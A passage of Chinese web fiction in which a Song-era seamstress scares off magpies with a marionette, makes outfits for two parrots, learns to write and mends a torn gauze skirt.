养鸟郎这才如梦初醒般,抓下小鹦鹉,扯得他头皮疼,小鹦鹉又去扯他嘴巴,他蓄了满嘴浓密的胡子。 “小娘子,这只学人说话的鸟,叫翠花, 不叫阿宝, ”养鸟郎憨笑着解释, “它是从巴蜀来的鹦鹉, 来到镇里后爹娘没了,留下一两天的它和阿宝,它爹娘说是不大聪明,不会学舌, 品相也不好,我就接手养了。” “它眼下是只说本地话的好鸟。” 翠花跳到林秀水的桌子上,大摇大摆地走,哼唧唧地说:“好鸟!翠花好鸟!” 它又将脑袋伸过来,凑到林秀水的手,“救阿宝——” 林秀水伸手指戳它一下,毛绒绒的,但仍没明白,她纳闷极了,“到底救什么?我是缝补的,不是治鸟禽的啊,你老实跟我说,是不是李习闲跟你说的。” 因为就他那种习闲行当,里头的人不是斗鸡,养鹌鹑、鹦鹉、斗鸟、擎鹰,便是斗蛐蛐、蝈蝈,各种虫蚁,她想破脑袋,除了他没有旁人有这么闲。 养鸟郎摸摸自己的胡子,满脸心虚地解释:“我实在没法子了,这不是救鸟心切,去借了他家的铁公鸡来用,他一听这事,忙说得找你啊,我就急哄哄带翠花过来了。” 他说东说西一大堆,说完后才吞吞吐吐说了原因,“翠花聪明,会学舌,说些人话,可阿宝不大会说话,但很会学其他鸟的叫声,叫得那叫一个像。” 林秀水接话,“这跟救命有什么关系?” “那可太有关系了,”养鸟郎懊恼道,“我之前还只听个乐子,从不当回事,直到我家前头那棵树上搬来一窝喜鹊,天天吵架。” “偏偏我家那傻鸟,教它那东西,好的不肯学,就爱学些偏门的,它学喜鹊说话也就罢了,学的是什么,是喜鹊吵架时骂的话。” “它在屋里学得大声,被喜鹊听见了,结果倒好,”养鸟郎说得心酸极了,就差委屈地哭出来,“在屋外骂它,撞窗,一出去就啄它,往我们晒的衣服,窗子上丢屎,夜里喊一堆喜鹊来,在我们屋顶叽叽哇哇地骂人,怎么都赶不走。” “阿宝被吓得不吃不喝,我倒是想带它俩上别人家住去,可它到那整夜整夜不睡,毛也掉了,没法子,又给带回来,那死鸟一见我们回来就追着不放,每天啄我家窗子,心眼子比针尖还小,我就没见过这么记仇的鸟。” 翠花气鼓鼓地跺脚,嚷着道:“坏鸟!坏鸟!”“那喜鹊怕鹰,偏偏擎鹰的又上临安去了,我就寻思雕只鹰吓吓它们,木匠说要雕二十来日,二十来日真没命了。” 养鸟郎悲从中来,“眼下不吃不喝不睡,必须待在自个儿笼里,一有动静毛都炸开,我养它俩养得那么不容易,巴蜀到这来的鹦鹉多半养不活,冬不能冷,夏不能热,打小吃青果,吃小油松,吃苎麻子,养到那么大我容易吗。” 翠花用头过去蹭蹭,它踩人手上,小脑袋一晃一晃,“容易吗,我容易吗” 林秀水说:“你个小学人精。” “是鸟,翠花是鸟,”翠花走到边上去,不想搭理林秀水,又咕咕叫起来。 养鸟郎从袋子里掏出一把稻谷,翠花站在那,低头嚼了又嚼,不再出声,把壳吐到地上去。 他跟林秀水说了实话,喜鹊也是鸟,他作为养鸟人,是不会为了自家的鸟去打死其他鸟的。 只好驱赶,可又不会真下狠手,闹得那窝喜鹊吃准了他,压根不走,而且只对他家叫嚣,从不上其他人家里去。 林秀水听出了他的意思,合着就是让她仿着鹰隼的外形,做只老鹰出来,挂在那吓唬走喜鹊。 “这法子没用啊,”林秀水摇摇头,“我也做不出来那样惟妙惟肖的老鹰,你要真想驱鸟的话,或许做个稻草人会有用。” 喜鹊这种鸟其实并大不怕人,又大只还记仇,林秀水在上林塘时,有户人家也是端了喜鹊的窝,结果喜鹊日日从高空抛屎,还挑他们地里的稻子吃,持续两年,最后消停了。 当然林秀水给做的是简易竹架板稻草人,套上衣物和帽子,叫养鸟郎回去试试。 结果没用,那玩意胆大包天,压根就不怕人,更不怕稻草人。 等林秀水下工回来,他叹口气说:“别提了,那帽子都被它掀翻了,知道这玩意不会动,蹲衣裳上头,站在那死活不走。” 他哭丧着脸,“可咋办啊?真没法子了?要不给我做只老鹰吧!” “鹰,鹰,”翠花小跳起来喊,“上啊!” 林秀水只想让这一人一鸟边上去,怎么养鸟养鸡的,脑子都不大灵光的样子。 她沉默的时候,翠花又喊:“赶走坏鸟,救救阿宝呀。” 这是迄今为止,林秀水听过这只小鹦鹉说过最长的话。 “救,看在你的面上我给你们出个主意。” 翠花飞过来,站到她肩头,拿小脑袋蹭她的衣裳,嘴里嘀嘀咕咕说好,好。 林秀水确实出了个主意,这主意一出,养鸟郎睁大眼睛,“小娘子,你咋想出来的啊!妙啊!” “你等着瞧吧。” 可不止他等着,王月兰带小荷过来瞧,养鸟郎的家里在南瓦子旁的小巷子里,离桑桥渡不远,走一座桥就到了。 而他家里有小院,小院不远处上有颗老桑树,那作案的一窝喜鹊就住上头,很猖狂,很嚣张,养鸟郎小院地上大半是鸟粪。 见一群人进门,还盘旋飞过来瞧,完全不惧,林秀水做的那稻草人孤零零躺在地上,两三只喜鹊在上头大摇大摆地走。 翠花躲在窗后头,小声喊:“坏鸟,坏鸟。” 另一只鹦鹉阿宝则缩在笼子里,头蒙住,瑟瑟发抖,它怕得要命。 但很快,养鸟郎兴奋地戳戳它,把它捧出来,让它对着窗户挖的孔眼瞧,阿宝半死不活地躺在他手里,半闭着眼,等瞧到外头的状况,它一骨碌爬起来,小心将脑袋探出瞧,蹦起来喊了个字,“妙!” 又喊:“打它!” 而其他几位看客,也缩在这窗户后头瞧得津津有味。 只见苏巧娘躲在墙和屋檐挂的布夹缝里,站在那矮凳上,布前头吊着只半人多高的木偶,是个老头模样,手里拿了只蒲扇。 初时喜鹊有些打怵,不敢上前,只在近处跳来跳去试探,飞来飞去逗引,见那偶人半点不动,胆子瞬时便大了,立即飞来要啄。 也在此时,苏巧娘提线,拉绳,那原先不动的老汉登时迈步跳起来,利落高抬手,拿着手里的蒲扇照着喜鹊扑来,啪的一声,正正好好扇到它身上。 喜鹊哇哇大叫,毛全炸开来,怕得往后躲,又不服气,从高处飞来啄,老汉转身,三两步上了高台,飞跃起来,下落的蒲扇又正 好打中喜鹊,打得它哇哇直叫。 如此两三回合后,喜鹊掉了几根毛,灰溜溜地飞走了,它要连夜搬家! 原来林秀水的主意,便是叫来了苏巧娘,她手里有许多被傀儡班子退回来的偶人,正巧能派上用场,原是想等喜鹊近身后,动一动蒲扇吓吓它,没想到她吊弄起悬丝傀儡跟使功夫一样。 翠花嘎嘎大叫,“好!” 阿宝则飞到窗外去,站在窗边伸脑袋,瞧到喜鹊飞出去了,它蹦起来,它要吃油松子,还叼到每个人手里去。 “我的,我的,”翠花急得大叫,它好气,“臭阿宝。” “不救了,不救它了!” “松子,松子,臭阿宝。” 惹得在场众人哈哈大笑。 这长达十来日的喜鹊报仇记,败在了悬丝傀儡的手里,这个傀儡被养鸟郎高价买下,要供奉在家里,给了囊中羞涩的苏巧娘能再熬上一个月的钱数。 林秀水赚了几十文钱,她放进袋子里出来后跟苏巧娘说:“下回有这种活,我再喊你啊,我凑个热闹,你赚点别的钱。” 苏巧娘仍震惊:“这么多年来,跟人打过,就没跟鸟打过。” “害,人活久了,尤其碰上我,什么稀奇古怪的事都能有,”林秀水早已习惯,没见她听鹦鹉说话,半点不稀奇吗。 说不定哪天有人找上门来,请她给猪做衣裳,她说不定都不带半点犹豫的。 见苏巧娘还没回过神,她就说:“人不能太追求正道,正道赚的钱哪有这种邪门的赚得多。” “什么是邪门?”小荷正跟两只鹦鹉挥手,蹦跳着往前,又回过头来说。 林秀水说:“就像水里的鱼游到岸上,说叫我给它做双鞋一样。” 小荷皱眉细思,“可是鱼没有腿啊。” “这可不就是邪门。” 她纵观自己遇上的活,那可真偏门,她夜里总想,难不成当初拜错了财神,她拜的哪门子护佑牲畜的? 真想不明白。 索性到了春三月头一日,来的活相对正常许多,当然当她看见有两三人运了张大床来时,她真的不理解,这到底有什么需要费那么大劲的必要吗。 领头的男子说:“这是我们从质库里赎回来的,结果床头的布全是破洞,好不容易花大价钱赎回来的,烂成这样回去用着也糟心,便寻思给补补。” 林秀水上前看一眼,咦了声,那床头嵌的东西其实不是绢布粘的,而是在上下左右打了孔,用不同色的绒线按着纹样织起来的,很特别的花色,林秀水没有在市面上见过。 花里花哨的颜色,红红绿绿,编的一大团海棠、蔷薇,一眼望去,没注意到破洞,只瞧到尽情盛开的花。 不过林秀水补不来,她点点上头的布料说:“这不光瞧着好看,织时更费心,用了几十种线,我除非一种种线染到相同的颜色,才能编进去,否则没法补的。” “还有种法子,谁织的叫谁再织一遍。” 那高个男子说:“原是家里老娘织的,她是织花的好手,从前是做结花本的,无论画匠画出什么,她都能照着纸样给织出来,这床就是她自己一手织的,只不过她病前将床给押出去了,病没好走了,床我们给赎回来了 ” “补不好便算了,”男子笑笑,“到清明给她烧钱,叫她有空回家来补补。” 兄弟仨人又扛着床,脚步沉重地回去了,林秀水看了一眼,又坐下,有很多东西是没法补的。 更多的是,她可以补。 她冲着眼前举止局促,穿着件打补丁的中年男子笑道:“能补。” “能补就好,”中年男子半弯身子,小心翼翼开口,“这两件衣裳补好些,得多少银钱?” “就破了几个口子,我给你补得瞧不出,给十文就行,”林秀水取出线,用布抹一抹针,抬起头问,“阿叔,你从哪来的?” “我打前头是鱼行里剖鱼的,”中年男子说到这,忽然笑了,“可我前头手疼得慌,剖不了鱼了,我儿子媳妇坐船过来接我到明州去,他们是在那做小经纪倒腾鱼获谋生。” “也不怕小娘子笑话,我没出过镇里,怕给孩丢脸面,听人说你补衣裳补得好,我来补补,穿得体面些好出门去。” 他说完才又局促起来,“能补到瞧不出吗?” “当然能瞧不出,”林秀水将衣裳平放在手掌上,指着刚补的地方告诉他,“瞧得出吗?” 中年男子凑近去,眯着眼瞧,他瞧不大出来,欢喜道:“真看不出来。” “对呀,阿叔你好福气,媳妇儿子还来接你上外头去,”林秀水也笑,“听说明州是个好地方,我相熟的人说的。” “也不知,”中年男子只笑,“等我手好些了,我还照旧在那剖鱼去。” 林秀水补好衣裳给他瞧,他手很僵硬,慢慢穿上,低头看衣裳,满是褶皱的脸变得平展,同林秀水道谢,瘸着腿走出去,走到有人接他的地方去。 她收好线,低下头一点点绕线,将十文钱放好,在那出神,有人敲敲她桌子,扣扣两声,她抬起头。 “咦,你咋过来了?”林秀水看张木生一眼,“不会又改主意了,还想做双高靴。” 张木生指指自己,“你就没看出点名堂来?” “看出来了。” 张木生期待,林秀水打量他一眼,“之前是黑灰,眼下是黑炭。” “你这人,”张木生真气恼了,他用手用力点点自己,一字一顿道:“我、长、高、了!” 林秀水听到第一个念头,好耶,不用赔一百文了。 第二个念头,到底长在哪里了,头发吗?鞋子吗? 不过没说出来气张木生,而是招招手,“你脱了鞋站那桑树那刻了线的地方量量。” 一看她沉默了,嘿,还真高不少,有一根小拇指那么高。 张木生昂起头,“不靠鞋,不靠帽子,纯靠我自己长的。” 林秀水倒是不否认,毕竟别看张木生黑里瘦,还总簪大红花,一副没正形的样子,但很说话算话。 自从她给人家支招的二十来日,没下雨日日卯时到蚕花菩萨庙里,左右换脚跳摸竹竿,下了雨,在家里挨爹娘骂也要撑竿子吊红布摸。 日日晌午去摸鱼摸虾,下雨也不歇,反正林秀水不止一次吃到他摸来的鱼虾。 又跳又蹦又吃鱼虾,饭量还大增,想不长高都难。 之前张木生总想着靠鞋,靠帽子,靠外界东西长高,眼下他确实靠自己一寸寸拔节。 林秀水真心地说:“恭喜恭喜。” “我再也不是矮个了,”张木生抽噎,抹着脸说,“我总算长个了,我这样瞧着是不是比人家老丈拐杖高了?” “高了…吧” 张木生肯定自己的身高,“那必须比拐杖高。” “我长高路上最感谢地人,非小娘子你莫属,虽然你比我年纪小,”张木生说到这顿了顿,而后语气坚定,“我得喊你声姐,你认我做个干弟吧,我喊你干姐成不?逢年过节,我肯定拿猪鸭上门,再给你磕头拜谢。” 啊? 林秀水瞥他一眼,走得飞快,“我消受不起,你可饶了我吧。” “姐,你咋走了呢?姐你别走啊,我还没说谢礼的事啊” 不走还等着留你吃饭啊,林秀水跑得飞快,她懒得搭理,得赶紧上工去了。 到船洞里摇她的小船出来,水波荡漾,两岸人家在她的摇动里慢慢远去,偶尔接两个活,有人从窗子吊下篮子,她取了东西放船上,有的人家正在屋檐下,捧碗喝粥,又起身到栏杆边,招呼她上自家屋头喝碗粥。 有娘子在河边捶打衣裳,有船急急划过去,要上李妈妈家产药铺买产药,也有小儿哇哇大哭,被蜂蛰了眼皮,爹娘搭了别人的船,要带它上西边的眼药铺去。 林秀水乐呵瞧着,拐过弯进入繁盛的桑绫弄,快到上巳节,这里的衣裳总最时俏,小娘子们头上簪了鲜花,挽手携伴来瞧衣裳,试试新出的丝鞋。 她下了船,走在人群里,像是镇里生的小娘子了,初时一个月她刚来时,瘦得脱了相,穿件旧蓝袄子,再普通不过的样式,素面朝天,不知打扮,在桑绫弄这个穿衣光鲜时俏的地方里,她很显眼。 但同上个月相比,她脸上长了些肉,有了血 色,唇不再苍白,眼神黑亮,也有闲心打扮起自己,梳流苏髻,发尾绑两根青蓝色的飘带,前头扎两朵粉白的茶花。 虽然还是青布旧衣,却做了新的领抹,绣了花样,编团花结挂在自己腰间,挎着自己拼凑的包,不再是单调的颜色,她拼了许多种颜色,花里胡哨的。 她就在这些日子里,极为自然地融入桑青镇里,她所有接过的活,见过的东西,都曾或多或少让她有了小小的改变,她接受这种改变。 路上有不少娘子瞧她,看她脚步那样轻快,又相互笑笑转过头。 林秀水迈进成衣铺里,顾娘子瞧她,笑道:“今日这包不错,够花的。” “我昨儿心血来潮拼的,”林秀水取下来给她瞧,“发觉这青橙两色搭得挺不错,娘子你要的话,我给你家阿玉也做一只。” 顾娘子说起女儿,眉目带笑,“可别惯她了,总是要这要那的。” “对了阿俏,你过来,”顾娘子让她跟自己到屋里,拉了把凳子叫她坐下。 林秀水不明所以,她纱缎这些日子补得挺好,又快又稳,且还教了大春玲熨细布,连布婆那看布,她也隔三岔五便去,从没有缺漏过,她不大明白顾娘子寻她有什么事。 顾娘子在点茶,她慢慢地说:“你这手艺留在熨布这,属实有些屈才,但眼下裁缝作那里人实在多,你在这惯了,进去也不大合适。” “我想就后楼那里,给你新移出个地方来,那块地供你缝衣如何?这前头活简单,你上午熨布,下午缝衣上领抹或是其他,你一个人做两份活,我跟账房说,四月发钱的时候,再给你多两百文。” 也便是林秀水正式涨了两百文,记在账面上,多余六百文,是从顾娘子这头单出的。 比起工钱,更让林秀水惊喜的是,她有个专门的地方缝衣了,在后楼靠一排窗子的地方,宽敞明亮,有张大宽桌,软椅,一个小柜子,和专属的针线盒。 从熨布到缝衣,她算是往前走了一大步。 而且今日下工时,她便领到了月钱,包在红布里,正正好好一贯钱,沉甸甸的,她等了许久的月钱。 她欢喜极了,尤其顾娘子先前承诺会给她一匹布,她选了不出错的梅子青,尺幅特别大,供她、姨母和小荷各做一件上衣的。 林秀水的笑没从脸上掉下来,神色明媚,她要同姨母说。 当然要买东西寄回上林塘,她想起自己坐官渡过来时,陈家伯母掏了自家许多好东西要给她,但她没有收,已经得过人家很多恩惠了。 这会儿正是春耕最忙的时候,上林塘出的米得运桑青镇,运临安府,春耕时纲运司会派人盯着,怕亩产不到,田户是脱不了身到镇里来的。 林秀水找人寄东西回上林塘去,有些麻烦,官渡不会送到人家中去,从前她和姨母互捎东西,是陈九川来回送的,不过他前两个月接运船货,到庆元府去了。 她如此想着,收好月钱,将布匹放好,摇着船在河里,想到从前,想到以后,而她走在最好的时候里。 第33章 第 33 章 拜人学艺的鹦鹉 “那指定得捎东西去。” 傍晚王月兰买了荠菜, 坐在屋檐底下择菜根,扔到边上说:“你从前守孝几年里,多她们照拂, 是得送些东西回去。” “那我买些油酱、香饮子、散茶,另装些布和绒线。” 林秀水从灶房又走到放布的屋子里,她之前挂心这事, 收拾不少纹样花色俱好的布,她装好放包袱里,分成三份。 其实她跟上林塘的伯母们说过,到清明前再回去, 给她爹娘上坟,毕竟来往一趟要费几十文。 “你买也买了,不如再买些煎点汤茶药, 春耕忙,左右煎点补补身子,”王月兰从矮凳上起身,扶着墙板站好,“你只管包好,我叫人给捎去。” “水磨坊边的货运陈家总是知晓的,父子俩今年生意铺张得不错, 我听上回你陈伯母说, 押桑种到明州去了, 许久回来?” 林秀水系紧包袱, 她细想了番,陈九川家货运营生是去年起做的,从前几年在镇里和上林塘往返。 她对此不大知晓,“应当就这个月吧, 总不能叫伯母和桑英两个人种十来亩田地,听说今年的田税又多了些,收米的价钱不涨,我来前听她们说倒是想转种桑树来着,上头也压着不让种。” “吃了有田的亏,上林塘沙田还多,明明种桑最好,结果年年种早占城,”王月兰撇撇嘴,她就是受不了下田,一年要种两季的稻谷,才卖了田到镇里来的。 两人倒没有在这上头多说,倒是王月兰又提起,“明早上镇衙一趟,你的户帖落到我这了,到时候也不用多交笔屋税。” “我这心算是落了下来,幸而你自己也能耐。” 林秀水则去取了三百文钱来,她交家用,她算过这个数,知晓再多些姨母不会要的。 她说完后,扔下铜板到桌上,便说:“我去找前头李家私塾的思珍去,我想学两个字。” “你去就去,扔钱做什么,你个臭丫头,叫人家上家来坐坐。” 思珍是前头来寻她给裹贴缝书袋的,她家开了私塾,在过了街桥的南边,私塾不大,但孩童挺多。 “你要学写字,”思珍正画梅妆,带了秀气的妆容从屋檐下跑过来拉她的手,“那可太好了!你的手那样巧,练字指定不成问题。” “只你那么忙,有工夫写没?你不要寻我爹,他是个老古板,教的时候扯东扯西,你想学来找我,我练一手好字,也能教你学三百千。” 这三百千是《三字经》《百家姓》《千字文》,上蒙学的小孩先学的这三样。 林秀水也高兴,双眼弯弯,“我正愁找不到人来教呢,可多谢你了思珍,我应当拜你为师。” 思珍说:“那可别了,我教你练字,你教我做女工,我的女工可不大好,我们这叫取长补短嘛。” 她从她爹那顺了本百家姓,塞到林秀水手里,“送你了,先学姓,你既然识得几个字,那更应该多瞧瞧,能写会自己的名字再说。” “双木成林,你这姓又好听又好写。” 林秀水在她指教下,花了一百多文买了便宜纸笔,思珍拿笔蘸墨,写了个漂亮的花押,是水字,写得很舒展,眼下人用花押或押字来代替自己的名姓。 “你做买卖的,免不得要用到花押,我先献个丑,给你写上一个,你纸样画得好,描摹功夫指定不错,写字跟画也是相同,只管依样画葫芦便成。练字要下苦功夫,想写得好,寒来暑往,冷热都断不得,你学点自己能用的便行。” 思珍的字并非草书,是小楷,一笔一画工整秀气,很适合林秀水写。 只是写字这东西,拿笔跟拿针是完全两回事,画纸样跟写字也是两回事,林秀水能写,写出来总吞笔画,写得黏黏糊糊的,恨不得墨全沾在一块。 思珍说话声很柔和,“慢慢来,练一练会好许多。” 林秀水在写字上吃亏,但思珍在女工上手艺不行,而她便教人家怎么样拿针、扎线,如何练习线缝,做不好怎么讨巧,做香囊用橙色圆布扎捆缝柿子,或是绣成金鲫等等。 两人也不说银钱,便是各学所长,都不藏着掖着,互相把会的教给对方,两人的关系顺势拉近。 反正林秀水单单一个时辰,所学颇多,至少她会写花押了,回去再练练,她坚信自己苦学,总有一日能写出手好字的。 回去也写,夜里点蜡烛写上半个时辰,抠着边角写,然后写完手指沾了墨水也不管,拿起纸头对着蜡烛光欣赏自己的字。 越看越满意,给自己评价:相当好。 实则没有笔顺架构,纯靠画,她满意得不得了。 以至于第二日起晚了,楼下有人喊她,她惊醒,梳了简单发髻,穿上衣裳下楼去,她打开门,看见是养鸟郎,一头肩膀各站一只鸟。 翠花扇扇翅膀,轻轻飞到她肩膀上,问她:“吃了,吃了没?” “没吃呢,你起早来吃虫子啊?”林秀水点点它的头。 翠花撇头到一边,它才不吃虫子。 林秀水还以为生意上门呢,看见是这一人两鸟,招招手,“先进来吧,别挡着人家的路。”王月兰在屋里熬豆子,灶上有香饮子,她进去倒了杯递给养鸟郎,偏头问两只鸟,“你们喝吗?” “喝!”翠花喊,阿宝缩在养鸟郎脖子后头,咕咕地叫了声。 林秀水端了碗水给这俩鸟喝,养鸟郎放阿宝下来,笑眯了眼对林秀水说:“前头多谢小娘子,那喜鹊没再来了,阿宝总算不再惊乍害怕了。” 他又点点阿宝,笑得胡子翘起来,“我早早过来,是想同小娘子说,苏娘子认识个口技很厉害的人,会百鸟鸣叫,引见与我,我想阿宝既然喜欢学鸟叫,不如让它去拜个师傅,不想以后耽误了它。” 让鸟拜人为师,林秀水居然毫不惊奇,她逗阿宝,“快叫声听听。” 翠花喊:“听听。” 阿宝喝了口水,梳理自己的羽毛,很给面子,仰头叫一声:“布谷布谷。” 林秀水哈哈笑了声,“是该送它去,那翠花呢?” “翠花跟我一道送阿宝去,早上学,下午我们到西边松林里去,坐人家打柴船,捡些松果来,再叫它们在林子里飞一飞。” 养鸟郎说完,搓了搓手,终于表明来的意图,他希冀地说:“就是这拜师吧,叫阿宝光溜溜去也不大合适,不知小娘子能否给它俩做几件衣裳?” “我看那铁公鸡穿着大红花衣裳,每次摇摇摆摆地在街上走来又走去,我看得艳羡不已。毕竟鸡鸟不分家,我也想叫我家这两只穿上衣裳。” “做什么样的?一件三十文啊。” 林秀水已经没有犹豫,没有任何心理斗争,鸡的衣裳也做过了,做鹦鹉的有什么区别。 而且刚好有给偶人做衣裳时,新做的小布尺,用在鹦鹉身上刚好,她取了布尺来,问养鸟郎,“这两只都是雌的?” “那不是,翠花是公的,阿宝是雌的。” 林秀水看向翠花,语气平静,“你说,这是公的?” “公的公的,”翠花跳了跳,飞起来绕着林秀水喊。 “行,别喊了,我知道你是公的了,”林秀水要被吵死了,她请阿宝到手上来,给量了胸围,将布尺量到腹部,边量边嘀咕,“我还是头次给鸟做衣裳,你可争气点,拜个好师傅,等以后我再见你,你就是天底下最会说鸟语的鸟了。” 哎,不对,这阿宝本来说的就是鸟语,林秀水又对翠花说:“那你也多学学,做只说人话的鸟。” “鸟语,说鸟语,”翠花拱她手。 林秀水说不来鸟语,她闭嘴,她取出纸来,画了好几个纸样,鸟能穿的衣裳不多,尤其要露出翅膀,不能阻碍它们飞起来。 而且鹦鹉体型不大,袖子不能长,最适合的是吊带包衣,布从鹦鹉屁股处包住,她管自己做的叫屁兜子。 她给阿宝做了浅蓝的包衣,给后面缝了白色的小帽,拿绒线绕了个小球缝到上头,绿色的小鹦鹉穿蓝色绸布衣裳,戴上小帽,露出小豆眼,歪头咕咕地叫。 翠花自己要穿红的,大红配大绿,林秀水没眼看,它还要个红的帽子,一直扯阿宝的, 林秀水憋住笑,给它做了个财神帽,直角幞头款式,套它脑袋上,教它说:“恭喜发财。” 翠花摇着小脑袋,红帽子一晃一晃,绕了一圈叫:“恭喜发财!” 可把养鸟郎看得心花怒放,他就差没原地起舞了,恨不得从桑青镇南边走到北边,东边走到西边,叫大伙都认识他的鹦鹉,可又害怕被人惦记,只好死死憋住这个念头。 只是故作平静地说:“小娘子多做几身,我有钱。” 最后林秀水还去观摩了阿宝的拜师,阿宝在学人说话上没什么天赋,但学起其他鸟语来,惟妙惟肖。 老师傅学斑鸠的咕咕声,阿宝也跟着叫:“咕咕,咕咕。” 学画眉鸟的鸟婉转长音,阿宝学起来毫不费劲,叫声动听,还有云雀小而细弱的叫声,阿宝也能压着嗓子,听一遍便学出来。 老师傅大笑一声,故意逗它,学小狗叫,汪呜汪呜地喊。 阿宝明显愣住,抬起脑袋来找狗,在养鸟郎肩上跳来跳去,最后盯着人,不确定地喊:“汪!” 老师傅惜才,不管是人才,还是鸟才,“哎,这是好鸟,我这辈子做这行二十来年,收了十来个徒弟,可都是人,还没收过鸟徒弟呢,你且每日带过来,就跟我学学逗个乐吧。” “好!好,”翠花叫道,“好阿宝。” 阿宝则很内敛,在屋里飞了圈,老师傅看鸟徒弟哪哪都满意。 林秀水则笑着出门去,背过手慢慢走在路上,没人的小巷里,清清嗓子,也学一声鸟叫,咕啊咕啊,实在难听至极,惊得屋檐上两只站着的麻雀一直瞧她。 哎,看来她真不是做这行的料啊。 还是缝她的衣裳去吧,林秀水只有拿起针来顺手。 进成衣铺时,林秀水看了眼门前的招幌,顾娘子挂了用天净纱做的满裥裙,挂的地方好,正有光照过来,纱缎经光一照最好看,闪着蓝莹莹的光。 引得不少小娘子过来瞧,想买条在上巳节里穿,一听要价三贯,都有些犹豫,想挑一挑毛病,可奈何这纱锻连点线头也没,更别提旁的瑕疵,一个小娘子说:“真好看,可惜要价太贵了。” 另一个小娘子盯着细瞧过后说:“你看这纱缎,别处卖布帛的铺席里,还夹杂着其他深色的线,你看这里便没有,连个寻常织的缺口也无,我倒是喜欢得紧,左右寻不到中意的,想想还是买条,我觉得不亏,我想买下来。” 林秀水在一旁听,微微翘起脑袋来,这可是她费心织补的,压根没有出错的。 可没想到,还没到晌午,她扯着布正和小春娥说笑,大春玲在练熨布,顾娘子便来喊她,“阿俏,你出来趟。” “来了,回来再说。” 林秀水小跑出去,到前头只见早上瞧到的那两个小娘子,其中一个满脸泪痕,双眼红肿,抱着早上新买的纱缎裙哭:“我想去买双绣鞋来着,被人推了一跤,这裙子正好挂到边上的车架边,钩破了一大条,我才新买的裙子,我明日想穿的。” 她已经哭了一路,花了积攒大半年的钱,来顾娘子成衣铺看了两日,终究割舍不下,狠心买了这条裙子,想着明日上巳节时穿出门。 买时多高兴,抱在怀里爱不释手,摔了钩破裙子就有多痛心,哭得上气不接下气,也是她好友劝她回来铺子瞧瞧,说不准有法子,她才回来的。 林秀水不忍心,给她张帕子,宽慰道:“好了,别哭了,你把裙子给我瞧瞧,说不准我能补呢。 ” “真的,真的吗?”小娘子抽噎道,“原是我自己的过错,实在没法,我也没法子,呜呜呜。” 林秀水先接过这条纱裙,她翻找了下破洞处,如果是普通破洞,她能取线织补回去。但她翻到那中间靠下那破处,扯了扯,明显是断经线造成的,破面看起来像蛛网,就是没全破,但该断的线也都勾断了。 这种破面没法全剪下来再补,不然等她下刀剪,线会全部崩掉,这条裙子下半截会废掉,得掉变短裙,街上可没人穿短裙。 “我先试试,”林秀水也没有很笃定,这是她缝补上没遇到过的,唯一的法子是边挑边补,挑出断头纱,挑一根补一根,最怕挑完剪断补的时候,其他线给崩掉。 顾娘子给林秀水和那小娘子做保证,“补好了,这事皆大欢喜,没有补好也没关系,我可以从你手里买 下这条裙子,但你得花上一百文,再重新挑条裙子。” 小娘子点点头答应,实则她还是想要这条裙子,她挑了许久才买下的。 这次便成四五个人围着林秀水瞧,她反正被瞧多了,也不畏惧,取了绣绷、剪子和镊子来,坐下来,将纱裙固定在绣架上,开始挑断纱。 断的纱多,她先小心翼翼挑出一根来,在几双眼睛的注视下,剪断,取出手里的纱线穿针上,扎到最左边,由于纵向的线也时断时好,她得更加小心补。 挑得费力,补得费力,她揉揉眼睛,甩甩手,接着将线一点点勾起来,挑掉,顺势立即补线,渐渐的,原本像蜘蛛网一样的破面,在她的挑针起针,抬手落手间,又变成了完好如初的纱裙。 看的人目瞪口呆,使劲眨眼,不敢出声,她却只是收好东西,站起来将裙子递过去,“瞧瞧吧。” 那小娘子抹把脸,又连忙在身上使劲擦擦,才接过来细瞧,她拉住边上的好友喊:“真补好了!真没痕迹,呜呜呜,我能穿这裙子上街了,这小娘子好厉害,救了我裙子一命。” 她又哭又笑,说的大伙都笑起来,林秀水笑道:“能穿便行,可没白花钱,好裙衬美人嘛,你快别哭了。” “我停不下来,我,我一哭就这样,我给钱。” 顾娘子说:“不用了,你带裙子回去吧,给我们说说好话便行,到我家买的裙子,破洞的都能不要钱补,其他带钱来,要看小师傅说能不能补。” 那位小娘子终于笑起来,同林秀水行礼,又拉拉手,实在感谢她,满眼都是对她手艺的认可,才在好友的催促下,一步三回头离开。 而顾娘子则私底下给了林秀水一百文,“你也辛苦,这些日子忙点,我话放出去了,要有纱裙破了,得靠你补补,这补纱缎的钱全归你自己。” 顾娘子靠这事博了个名声,林秀水实打实得了钱,两人互相赚,而那小娘子也真上外头好好说了番,不少人知道顾娘子成衣铺里,有个补纱补衣裳很厉害的小娘子。 林秀水没有露面,却在桑绫弄里小小地出了名,真有人上赶着来寻她补纱,给顾娘子的铺面也带来些生意。 小春娥看得咂舌,“啥时候我烧炭也能有这么出名,有人寻上门来说,我是特意来寻烧炭娘子小春娥的,我没了她,我家里的炉子怎么也烧不好,求她上门帮我瞧瞧,我给她十文钱。” “你能把钱说得多些不,”大春玲斜眼看她,怎么一点出息也没有。 小春娥呸,“你懂什么,我这往大了说,不显得我贪心。” 林秀水在边上笑得一咳一咳的,“那你来给我打下手,我分你十文钱。” “那不对,”小春娥说,“应该我捧着碗说,求你了,赏我点吧,然后你说,赏你一百文。” “等我晚上给。” 小春娥不相信:“真的?” “梦里能梦到你就给。” 林秀水又缝起了衣裳,心里美滋滋的,她终于存下些家当,有五六百文了,而且顾娘子说明日不用上工,叫她也去过上巳节。 桑青镇里人过上巳节,两处地方最热闹,一是香水行,因为上巳节要沐浴,都扎堆往香水行里钻,要尽情搓澡一番。 二是钱塘江、西湖处,家里有船的便往那走,没船的花上十几文,做游船去那里,有做水傀儡表演的,那些匠人会操控傀儡划水,划小船,还有在船上卖鱼羹、各种吃食的,水里人多得跟鱼下籽了一般。 往外去的船多,往镇里来的船多,溪里人扎堆,河里飘船帆。 从五更天起,林秀水便听见有人开门从河里舀水,一桶桶往家里提,她打着哈欠起来,外头雾蒙蒙的,再一瞧,原是对岸人家在烧水,有皂角的气味。 她听底下吴大饼啊啊嚎叫,陈桂花在给他搓澡,林秀水光听声,都觉得像是场酷刑,她有时候很疑惑,就陈桂花那手劲能不把人搓下层皮来。 林秀水光想想就觉得可怕,陈桂花能在香水行里干下去,肯定有过人之处。 等她梳好发髻,再一开窗,河里的船渐次多了起来,她看见几个熟脸,探出身子问:“莲花娘子,上哪去呀?” “同你说了,你别羞,我们上庙里拜拜求子去呢。” 那莲花娘子说完,同几位娘子扑哧笑开,“你瞧她,压根不懂呢,上巳节也是求子的好日子。” 